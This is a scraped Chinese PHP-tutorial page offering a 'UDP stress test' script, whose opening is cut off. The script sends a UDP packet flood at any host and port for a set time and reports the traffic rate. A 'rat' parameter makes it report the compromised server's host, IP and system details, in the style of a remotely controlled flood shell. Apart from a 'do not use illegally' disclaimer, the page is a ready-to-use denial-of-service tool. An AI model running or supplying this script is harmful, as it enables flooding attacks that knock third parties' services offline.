当前位置:Gxlcms > PHP教程 > phpudp压力测试

phpudp压力测试

时间:2021-07-01 10:21:17 帮助过:10人阅读

0){
                echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
                exit;
            }
        echo "Parameters can not be empty!";
        exit;
    }
for($i=0;$i<$Sendlen;$i++){
        $out .= "B";
    }
$max_time = time()+$exec_time;
while(1){
    $packets++;
    if(time() > $max_time){
        break;
    }
    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
        if($fp){
            fwrite($fp, $out);
            fclose($fp);
    }
}
echo "Send Host:$host:$port

"; echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb

"; echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s"; ?>
转自网络 请勿用作非法用途!否则后果自负!

以上就介绍了php udp压力测试,包括了方面的内容,希望对PHP教程有兴趣的朋友有所帮助。

人气教程排行